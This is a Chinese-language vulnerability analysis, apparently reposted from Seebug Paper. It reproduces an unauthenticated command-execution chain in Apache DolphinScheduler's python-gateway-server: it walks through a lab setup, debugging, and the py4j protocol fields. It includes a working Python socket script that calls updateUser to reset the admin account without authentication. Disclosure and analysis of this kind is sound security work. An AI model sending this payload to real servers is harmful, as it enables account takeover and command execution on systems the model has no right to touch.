Apache DolphinScheduler 未授权任意命令执行
source link: https://paper.seebug.org/3096/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Apache DolphinScheduler 未授权任意命令执行
2023年12月25日2023年12月25日漏洞分析
作者:标准云
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]
看到了师傅的这篇文章《记一次Apache某项目的漏洞复现与挖掘》 我觉得漏洞的挖掘以及漏洞的利用特别有意思,于是我也想自己进行复现分析。
Apache DolphinScheduler,python-gateway-server 在默认情况下启动没有进行身份校验,监听服务在 25333 端口,python-gateway-server 会接收请求并去调用 PythonGateway.java
中的方法,在一些版本中存在修改用户信息的函数,可以实现未授权修改用户信息并登录。结合 Apache DolphinScheduler 后台可以命令执行,最后实现未授权命令执行。
利用 docker 来进行环境的搭建操作
https://dolphinscheduler.apache.org/en-us/docs/2.0.5/guide/installation/docker
漏洞的出现原因是因为 python-gateway-server
,所以我们需要修改一下 docker-compose.yml
, 文件将服务启动,端口映射出来。
dolphinscheduler-PythonGatewayServer:
image: apache/dolphinscheduler:2.0.5
command: python-gateway-server
ports:
- 25333:25333
environment:
TZ: Asia/Shanghai
env_file: config.env.sh
healthcheck:
test: ["CMD", "/root/checkpoint.sh", "PythonGatewayServer"]
interval: 30s
timeout: 5s
retries: 3
depends_on:
- dolphinscheduler-postgresql
- dolphinscheduler-zookeeper
volumes:
- dolphinscheduler-worker-data:/tmp/dolphinscheduler
- dolphinscheduler-logs:/opt/dolphinscheduler/logs
- dolphinscheduler-shared-local:/opt/soft
- dolphinscheduler-resource-local:/dolphinscheduler
restart: unless-stopped
networks:
- dolphinscheduler
http://192.168.184.1:12345/dolphinscheduler/doc.html?language=zh_CN&lang=cn 接口文档
发送请求需要安装依赖库apache-dolphinscheduler
。
python -m pip install apache-dolphinscheduler==3.0.0b2
https://dolphinscheduler.apache.org/python/main/start.html
安装成功后发现发送出现问题:
在测试的时候发现不知道是因为安装 apache-dolphinscheduler 的版本的问题,还是搭建环境的问题,导致运行时出现的错误并不相同。
为了实现利用,对不同 apache-dolphinscheduler 的版本测试。
在环境中安装了多个python 库的版本,如何在运行时指定版本。
在Python中,你可以使用虚拟环境(virtual environment)来管理不同库的版本。虚拟环境可以让你在同一台计算机上管理多个独立的Python环境,每个环境可以有自己的库和版本。
[+] 安装虚拟环境管理工具(如果尚未安装):
pip install virtualenv
[+] 创建虚拟环境:
virtualenv myenv
[+] 激活虚拟环境:
myenv\Scripts\activate
[+] 安装特定版本的库:
pip install package_name==x.x.x
最后发现应该是因为我利用 docker 启动的 python-gateway-server 存在一定的问题。因为是多服务器启动,导致调试不是很方便,所以还是采用作者搭建的环境方式。
docker pull apache/dolphinscheduler-standalone-server:3.0.0-beta-1
docker run --name dolphinscheduler-standalone-server -p 12345:12345 -p 25333:25333 -p 9898:9898 -d apache/dolphinscheduler-standalone-server:3.0.0-beta-1
实在是复现不出来出现各种各样的问题,于是现在还是调试着看。
-docker exec -it dolphinscheduler-standalone-server /bin/bash -c "cat /opt/dolphinscheduler/bin/start.sh" #
查看启动文件
- docker cp dolphinscheduler-standalone-server:/opt/dolphinscheduler/bin/start.sh start.sh #
将启动文件拷贝出来
- 将启动文件的JAVA_OPTS
进行修改
JAVA_OPTS=${JAVA_OPTS:-"-server -Duser.timezone=${SPRING_JACKSON_TIME_ZONE} -Xms1g -Xmx1g -Xmn512m -XX:+PrintGCDetails -Xloggc:gc.log -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=dump.hprof"}
替换为
JAVA_OPTS=${JAVA_OPTS:-"-server -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9898 -Duser.timezone=${SPRING_JACKSON_TIME_ZONE} -Xms1g -Xmx1g -Xmn512m -XX:+PrintGCDetails -Xloggc:gc.log -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=dump.hprof"}
docker cp start.sh dolphinscheduler-standalone-server:/opt/dolphinscheduler/bin/start.sh #
将修改后的文件复制进去docker exec -it dolphinscheduler-standalone-server /bin/bash -c "chmod -R 777 /opt/dolphinscheduler/bin/start.sh" #
赋予权限docker restart dolphinscheduler-standalone-server #
重启容器
启动调试操作,运行 python tutorial.py
进行代码分析。
抓取数据流量,大概得到发送的数据包以及返回的相对应的信息,添加断点进行调试分析。
py4j.GatewayConnection#run
在这个地方我们可以看到,无论是有没有认证都会执行 execute。
py4j.commands.CallCommand#execute
py4j.commands.AbstractCommand#invokeMethod
py4j.Gateway#invoke(java.lang.String, java.lang.String, java.util.List<java.lang.Object>)
py4j.reflection.ReflectionEngine#getMethod(java.lang.Object, java.lang.String, java.lang.Object[])
py4j.reflection.ReflectionEngine#getMethod(java.lang.Class<>, java.lang.String, java.lang.Class<>[])
这个地方应该是比较重要的部分,会依据 clazz name parametes 来控制说、类名、函数名、参数内容 (ps 这也是为什么 2.0.5 无法利用成功的原因,根本没有class org.apache.dolphinscheduler.api.python.PythonGateway
)。
getMethod:297, ReflectionEngine (py4j.reflection)
getMethod:326, ReflectionEngine (py4j.reflection)
invoke:274, Gateway (py4j)
invokeMethod:132, AbstractCommand (py4j.commands)
execute:79, CallCommand (py4j.commands)
run:238, GatewayConnection (py4j)
run:750, Thread (java.lang)
到此也正好对应了报错的调用链,原因是 getCodeAndVersion
仅仅有两个参数,传三个参数对不上了。
org.apache.dolphinscheduler.api.python.PythonGateway#getCodeAndVersion
修改传参参数,最后的调用栈。
getCodeAndVersion:170, PythonGateway (org.apache.dolphinscheduler.api.python)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:244, MethodInvoker (py4j.reflection)
invoke:357, ReflectionEngine (py4j.reflection)
invoke:282, Gateway (py4j)
invokeMethod:132, AbstractCommand (py4j.commands)
execute:79, CallCommand (py4j.commands)
run:238, GatewayConnection (py4j)
run:750, Thread (java.lang)
此时我们可以未授权的调用 PythonGateway
中的任意方法,为了造成更大危害,我们依次查看各个版本的 src/main/java/org/apache/dolphinscheduler/api/python/PythonGateway.java
,2.0.X 版本中并不存在这个文件。
3.1.0 中 PythonGateway
引入了方法 updateUser
3.1.2 中就引入了启动时的身份校验
目前可以通过updateUser
来更新用户信息,从而实现登录最后后台命令执行仅适用于版本 3.1.0、 3.1.1。
创建环境并利用,发送数据包前。
import socket
client = socket.socket()
client.connect(('192.168.184.1',25333))#Destination ip address and port number
data = '''c
t
updateUser
sadmin
sdolphinscheduler1234
[email protected]
s18888888888
stest
stest
i1
e
'''
client.send(data.encode('utf-8'))
data_recv = client.recv(1024)
print(data_recv.decode())
发送数据包后
https://github.com/apache/dolphinscheduler/compare/3.0.0-beta-1...3.2.0
对参数的相关解析
ps:当然可能猜测的也是存在问题的~
对传入参数的解析
-
第一行字符 c 作为发送数据包的第一个字段(固定);
-
第二行字符 t 作为触发类 (存在 t、GATEWAY_SERVER、j 三个选择);
-
第三行字符串作为请求类的函数;
-
第四行字符串~最后一行字符串 依次为请求函数的字段(每个字符串的第一个字符代表了参数类型);
-
最后一行字符 e 作为发送数据包的最后一个字段(固定);
截取一些代码片段作为佐证
py4j/commands/CallCommand.java
py4j.commands.CallCommand#execute
依次获取第二行字符作为 targetObjectId
,第三行字符 作为 methodName
,第四行字符~
, 最后一行字符作为arguments
对 arguments
调用 getArguments
进行处理。
py4j.commands.AbstractCommand#getArguments
在函数中会依次调用 Protocol.getObject
对每一行的字符串进行处理。
py4j.Protocol#getObject
会根据每一行的第一个字符来进行判断参数类型。
py4j.Gateway#invoke(java.lang.String, java.lang.String, java.util.List<java.lang.Object>)
会调用 Object targetObject = getObjectFromId(targetObjectId);
,来根据第二行字符targetObjectId
来查询的类名
有三个值可供选择
py4j.Protocol#isEnd
函数中标明 e 作为发送数据包的最后一个字段。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3096/
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK